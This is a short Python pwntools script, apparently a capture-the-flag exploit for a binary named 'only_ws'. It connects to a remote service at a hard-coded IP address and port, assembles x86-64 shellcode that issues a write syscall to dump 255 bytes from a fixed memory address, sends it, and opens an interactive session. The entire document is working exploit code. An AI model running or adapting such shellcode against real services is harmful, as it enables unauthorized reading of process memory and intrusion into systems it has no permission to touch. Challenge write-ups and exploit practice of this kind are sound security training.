24 lines
319 B
Python
24 lines
319 B
Python
#!/usr/bin/python3
|
|
|
|
from pwn import *
|
|
|
|
context.binary = target = ELF("./only_ws", checksec=False)
|
|
# r = process()
|
|
r = remote("54.85.45.101", 8005)
|
|
|
|
# funcs
|
|
s = lambda a: r.sendline(a)
|
|
|
|
# shellcode
|
|
sc = """
|
|
mov rax, 1
|
|
mov rdi, 1
|
|
mov rsi, 0x4040a0
|
|
xor rdx, rdx
|
|
add dl, 0xff
|
|
syscall
|
|
"""
|
|
sc = asm(sc)
|
|
s(sc)
|
|
|
|
r.interactive() |